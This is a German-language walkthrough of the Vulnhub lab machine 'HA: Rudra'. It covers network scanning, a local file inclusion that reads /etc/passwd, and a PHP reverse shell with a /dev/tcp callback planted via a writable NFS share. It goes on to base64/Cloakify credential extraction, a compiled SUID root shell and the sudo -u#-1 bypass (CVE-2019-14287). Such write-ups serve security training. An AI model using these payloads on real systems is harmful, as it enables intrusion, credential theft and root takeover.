HA: Rudra – Vulnhub

VM: HA:Rudra
Quelle: www.vulnhub.com
Ziel: bekommen der Root Rechte
Tools: NMAP, DIRB, MySQL Client, SSH, OpenSSL, Cloakify, Base64, gcc
Techniken: Netzwerk & Port Scan, Enumeration, DIRB, LFI, Reverse Shell, Privilege Escalation, SUID

Schritt 1: Scanning

Voraussetzungen: VM ist gestartet, eine IP wurde durch DHCP zugewiesen.

Nachdem die VM gestartet und geladen wurde, müssen wir die IP von der VM ermitteln. Dabei hilft uns das Tool NMAP welches beim Kali Linux schon vorinstalliert ist. Falls auf deinem System kein NMAP installiert ist, kannst du es aus Repositorien oder von der Seite des Entwicklers herunterladen und installieren.

Mit dem Befehl nmap -PE -sn -oG - 192.168.178.1/24 scannen wir unser Netzwerk auf aktive Geräte, die auf ein Ping antworten. Als Netzwerkadresse muss du dein Netzwerkbereich eingeben.

Rudra IP Scan

Bei mir wurde der VM die IP 192.168.178.58 (rot markiert) zugewiesen.

Nachdem wir die IP von der VM ermittelt haben, können wir einen Port-Scan durchführen. Mit einem Port-Scan kann ermittelt werden welche Dienste auf der VM laufen. Das machen wir mit dem gleichen Tool nur mit anderem Parameter. nmap -p- -A 192.168.178.58 gibt uns alle offene Ports aus, die auf ein TCP Verbindungsversuch antworten.

Rudra Port Scan

Wie auf dem Bild zu sehen ist, wurden mehrere offene Ports ermittelt:

PortService
22SSH
80HTTP
111rpcbind (Portmapper)
2049NFS

Andere Informationen sind für uns an der Stelle rein informativ.

Schritt 2: Enumeration

Nachdem wir die offenen Ports ermittelt haben, ist die Zeit gekommen so viel wie möglich Informationen über das System zu kriegen. Fangen wir mit dem Port 80 – HTTP Server an. Dazu geben wir einfach die IP, die wir im Schritt 1 ermittelt haben in einen beliebigen Internet Browser an.

http://192.168.178.58

Auf der Startseite selbst sind keine besonders interessanten Informationen zu sehen. Alle Bilder verweisen auf die Seite detail1.html. Analysieren des Quellcodes der beiden HTML-Seiten und aus dem Quellcode ermitteltem Ordner /img hat keine nützlichen Ergebnisse geliefert. So versuchen wird das Ganze mit der Programm DIRB zu scannen.

Rudra Dirb

Leider wurden auch an der Stelle nicht viele Informationen geliefert, außer dass eine robots.txt vorhanden ist. In dieser Datei kann der Webmaster das Verhalten der Suchmaschinen steuern, um bestimmte Ordner oder Dateien von der Indexierung raus zu nehmen.

Ein Blick in die robots.txt verrät uns eine Datei, die wir bisher nicht gefunden haben, und zwar nandi.php. Ein direkter Aufruf dieser Datei liefert uns aber ein leeren Bildschirm. Da es sich dabei um eine PHP Datei handelt, kann man hier sofort nach LFI Möglichkeit prüfen. Und siehe da, es ist uns möglich die lokalen Dateien aufzurufen.

http://192.168.178.58/nandi.php?file=/etc/passwd

Dabei übergeben wir die Variable file mit dem Parameter /etc/passwd in der Hoffnung, dass uns diese Datei ausgegeben wird. Wenn wie in unserem Fall die Datei verwundbar ist, kriegen die Ausgabe der /etc/passwd Datei.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd
Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin
rudra:x:1000:1000:rudra,,,:/home/rudra:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
mahakaal:x:1001:1001:,,,:/home/mahakaal:/bin/bash
statd:x:107:65534::/var/lib/nfs:/usr/sbin/nologin
shivay:x:1002:1002:,,,:/home/shivay:/bin/bash
mysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false

Wenn wir uns die passwd Datei näher betrachten, können wir vier Benutzer finden, die sich einloggen dürfen. Diese Benutzer kriegen bei der Anmeldung eine Bash-Shell zur Verfügung, alle andere dürfen sich nicht über eine Shell einloggen und es handelt sich dabei um Systemaccounts.

Man kann mit dem Skript noch weitere Dateien auslesen, auf die der Apache Benutzer Zugriff hat.

An dieser Stelle kommen wir nicht weiter und müssen uns nach weiteren Möglichkeiten umsehen. Eine davon war ein NFS Dienst, den wir beim Portscan ermittelt haben.

Mit dem Befehl showmount -e 192.168.178.58 können wir uns vorhandene NFS-Freigaben anzeigen lassen.

Rudra Showmount
Eine Freigabe können wir sehen. Versuchen wir diese zu mounten und zu erkunden.

cd /tmp
/tmp# mkdir rudra
/tmp# mount -t nfs 192.168.178.58:/home/shivay /tmp/rudra
/tmp# cd rudra
/tmp/rudra# ls
mahadev.txt

Rudra Mount

Hier sehen wir die Datei mahadev.txt und versuchen diese mit cat mahadev.txt zu lesen.

Rudra Read File

In der Datei sind keine für uns nützliche Informationen vorhanden.

Schritt 3: Infiltration

Da wir aber vorher eine Local File Inclusion Schwachstelle gefunden haben, können wir versuchen diese auszunutzen. Zuerst prüfen wir ob wir auf der Freigabe Schreibrechte besitzen. Dazu erstelle ich eine rshell.php Datei mit folgendem Inhalt:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.178.100/8888 0>&1'");
?>

In dem Fall, falls wir die Datei ausführen können, wird uns eine Reverse Shell zu meinem Rechner aufgebaut. Dafür muss auf dem lokalen Rechner das Programm netcat gestartet werden, welche auf dem Port 8888 lauscht.

netcat -lvp 8888

Damit wir die rshell.php ausführen können, machen wir die Datei mit chmod +x rshell.php ausführbar.

Rudra Reverse Shell

Probieren wir die Datei über vorher gefundenes Skript auszuführen. Dazu geben wir in den Web-Browser folgendes ein: http://192.168.178.58/nandi.php?file=/home/shivay/rshell.php

Wie wir beim netcat sehen können ist unser Versuch gelungen.

Rudra Netcat

Zur besseren Bequemlichkeit starten wir uns eine TTY Shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'

Jetzt können wir prüfen welche Dienste auf dem Server laufen.
netstat -luntp

Rudra Services

Hier können wir sehen, dass ein MySQL-Server gestartet ist, welches die Verbindungen nur auf die IP 127.0.0.1 und den Port 3306 lauscht. Versuchen wir darauf eine Verbindung mit dem root aufzubauen. Diese Verbindungen sind öfter nicht Password geschützt, da sie nur von dem Rechner selbst aufgebaut werden kann.

mysql -u root
show databases;
use mahadev;
show tables;
select * from hint;
quit;

Rudra MySQL

Es wurde uns ein Hinweis hinterlassen, dass wir auf /media suchen sollen.

cd /media
ls
cat hints
Hier sehen wir zwei Dateien, die normalerweise hier nicht vorhanden sind. Das sind die Dateien hints und creds.

Rudra Media

Hier finden wir einen Verweis auf einen Artikel wie die Daten mit Hilfe von Cloakify von einem System kopiert werden können. Die Installation von dem Programm ist in dem Artikel gut beschrieben, so ich gehe an der Stelle davon aus, dass du es bei dir installiert hast.

Leider hat es bei mir mit dem einfachen Kopieren der Daten als String nicht geklappt, so musste ich gucken wie ich die Datei auf einem anderen Weg von der VM kopieren kann. Da es leider kein Python Modul SimpleHTTPServer auf der VM installiert war musste ich nach anderen Möglichkeiten umschauen. Dabei habe ich mich auf das Base64 kodieren entschieden.

Rudra VM:
openssl base64 -in creds -out /tmp/creds
cat /tmp/creds

8J+YtArwn5isCvCfmKUK8J+YrQrwn5C8CvCfmKwK8J+ZiArwn5iVCvCfkLwK8J+Y
rArwn5C1CvCfmIoK8J+YgArwn5i7CvCfmKUK8J+Ykwrwn5C8CvCfmIUK8J+YlQrw
n5iVCvCfmIAK8J+Zigrwn5i+CvCfmJUK8J+YnQrwn5ibCvCfmY4K8J+Zjgo=

Mein Rechner:
cd /tmp
nano /tmp/output
base64 --decode output > creds

Jetzt wo die Datei auf meinem Rechner ist, können wir es weiter entschlüsseln.

python cloakifyFactory.py
Press 2 for "Decloakify a File"
Pfad zum input File: /tmp/creds
Pfad zum output File: /tmp/creds_out
Enter
Enter
24 für Emoji

Am Ende kommt eine Meldung, dass die Datei gespeichert wurde.

Rudra Cloakify

In der entpackten Datei finden wir Zugangsdaten für den Benutzer mahakaal.
cat /tmp/creds_out
mahakaal:kalbhairav

Mit diesen Zugangsdaten können wir eine SSH Verbindung zu dem Server aufbauen.

ssh mahakaal@192.168.178.78

An dieser Stelle kann ich zwei Lösungen anbieten:

Lösung 1 – von mir.

Da wir auf die NFS-Freigabe schreiben dürfen, erstellen wir eine Datei als root die uns eine root-Shell startet.

Dazu erstellen wir eine Datei auf dem NFS-Share mit folgendem Inhalt:

#include <unistd.h>
int main()
{
    setuid(0);
    setgid(0);
    execl("/bin/sh","sh",0); 
    return 0;
}

Kompilieren es und setzen den SUID Bit.

nano suid.c
gcc suid.c -o suid
chmod +s suid

Rudra SUID

Jetzt können wir die Datei mit dem per SSH eingeloggtem Benutzer ausführen und bekommen dabei die root Rechte.

Rudra Final 1

Lösung 2 – vom Autor

Und anschließend prüfen wir ob der Benutzer sudo rechte hat.
sudo -l

Rudra SSH

Wir man sieht, der Benutzer mahakaal darf die Datei /usr/bin/watch als jeder Benutzer ausführen. Also machen wir das:

sudo -u#-1 watch -x sh -c 'reset; exec sh 1>&0 2>&0' -u
cd root
cat final.txt

Rudra Final 2

Diese Lösung sollte eigentlich die Ausnutzung des Exploits CVE: 2019-14287 zeigen. Aber wie wir sehen das Problem war schon vorher da.